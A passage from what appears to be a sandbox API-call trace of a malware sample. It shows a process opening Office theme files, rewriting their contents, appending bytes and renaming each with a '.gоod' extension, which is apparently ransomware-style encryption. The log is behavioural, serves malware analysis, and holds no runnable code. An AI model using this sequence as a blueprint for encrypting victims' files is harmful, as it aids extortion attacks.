Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.959] GetFileType (hFile=0x80c) returned 0x1 [0158.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.959] GetFileType (hFile=0x80c) returned 0x1 [0158.959] WriteFile (in: hFile=0x80c, lpBuffer=0x34a9a68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x34a9a68*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0158.959] CloseHandle (hObject=0x80c) returned 1 [0158.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx", lpFilePart=0x0) returned 0x53 [0158.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.gоod", lpFilePart=0x0) returned 0x58 [0158.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0158.959] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5af669d0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480b2)) returned 1 [0158.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0158.959] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Riblet.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\riblet.eftx.gоod")) returned 1 [0158.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0158.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0158.963] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x3528208 | out: lpFileInformation=0x3528208*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d753)) returned 1 [0158.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0158.963] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0158.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0158.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0158.964] GetFileType (hFile=0x80c) returned 0x1 [0158.964] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0158.964] GetFileType (hFile=0x80c) returned 0x1 [0158.964] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0158.964] ReadFile (in: hFile=0x80c, lpBuffer=0x3528680, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x3528680*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0159.191] CloseHandle (hObject=0x80c) returned 1 [0159.191] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0159.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.193] GetFileType (hFile=0x80c) returned 0x1 [0159.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.220] GetFileType (hFile=0x80c) returned 0x1 [0159.220] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x2d753 [0159.220] WriteFile (in: hFile=0x80c, lpBuffer=0x353b588*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x353b588*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0159.221] CloseHandle (hObject=0x80c) returned 1 [0159.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0159.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.222] GetFileType (hFile=0x80c) returned 0x1 [0159.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.222] GetFileType (hFile=0x80c) returned 0x1 [0159.222] ReadFile (in: hFile=0x80c, lpBuffer=0x353d930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x353d930*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0159.253] CloseHandle (hObject=0x80c) returned 1 [0159.253] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0159.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.253] GetFileType (hFile=0x80c) returned 0x1 [0159.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.253] GetFileType (hFile=0x80c) returned 0x1 [0159.253] WriteFile (in: hFile=0x80c, lpBuffer=0x353c658*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x353c658*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0159.254] CloseHandle (hObject=0x80c) returned 1 [0159.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx", lpFilePart=0x0) returned 0x59 [0159.254] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.gоod", lpFilePart=0x0) returned 0x5e [0159.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0159.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b21f26c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2d763)) returned 1 [0159.254] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0159.254] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.gоod")) returned 1 [0159.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0159.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), fInfoLevelId=0x0, lpFileInformation=0x35ba090 | out: lpFileInformation=0x35ba090*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb17b)) returned 1 [0159.255] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0159.255] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.256] GetFileType (hFile=0x80c) returned 0x1 [0159.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.256] GetFileType (hFile=0x80c) returned 0x1 [0159.256] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0159.256] ReadFile (in: hFile=0x80c, lpBuffer=0x35ba508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x35ba508*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0159.355] CloseHandle (hObject=0x80c) returned 1 [0159.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.355] GetFileType (hFile=0x80c) returned 0x1 [0159.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.355] GetFileType (hFile=0x80c) returned 0x1 [0159.355] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xb17b [0159.356] WriteFile (in: hFile=0x80c, lpBuffer=0x3441940*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3441940*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0159.356] CloseHandle (hObject=0x80c) returned 1 [0159.357] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.357] GetFileType (hFile=0x80c) returned 0x1 [0159.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.357] GetFileType (hFile=0x80c) returned 0x1 [0159.357] ReadFile (in: hFile=0x80c, lpBuffer=0x3443c80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x3443c80*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0159.385] CloseHandle (hObject=0x80c) returned 1 [0159.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0159.386] GetFileType (hFile=0x80c) returned 0x1 [0159.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.386] GetFileType (hFile=0x80c) returned 0x1 [0159.386] WriteFile (in: hFile=0x80c, lpBuffer=0x34429a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x34429a8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0159.386] CloseHandle (hObject=0x80c) returned 1 [0159.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx", lpFilePart=0x0) returned 0x5a [0159.386] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.gоod", lpFilePart=0x0) returned 0x5f [0159.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0159.386] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b376c51, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb18b)) returned 1 [0159.386] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0159.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.gоod")) returned 1 [0159.387] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.387] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0159.388] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), fInfoLevelId=0x0, lpFileInformation=0x34c0168 | out: lpFileInformation=0x34c0168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xde70)) returned 1 [0159.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0159.802] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.802] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.802] GetFileType (hFile=0x61c) returned 0x1 [0159.802] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.802] GetFileType (hFile=0x61c) returned 0x1 [0159.802] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0159.803] ReadFile (in: hFile=0x61c, lpBuffer=0x36b5050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x36b5050*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0159.804] CloseHandle (hObject=0x61c) returned 1 [0159.804] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.804] GetFileType (hFile=0x61c) returned 0x1 [0159.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.804] GetFileType (hFile=0x61c) returned 0x1 [0159.804] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0xde70 [0159.804] WriteFile (in: hFile=0x61c, lpBuffer=0x36b67e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x36b67e0*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0159.805] CloseHandle (hObject=0x61c) returned 1 [0159.805] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\top shadow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0159.806] GetFileType (hFile=0x61c) returned 0x1 [0159.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0159.806] GetFileType (hFile=0x61c) returned 0x1 [0159.806] ReadFile (in: hFile=0x61c, lpBuffer=0x36b8ec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x36b8ec8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0159.834] CloseHandle (hObject=0x61c) returned 1 [0159.834] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Top Shadow.eftx", lpFilePart=0x0) returned 0x57 [0159.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0159.834] CreateFileW 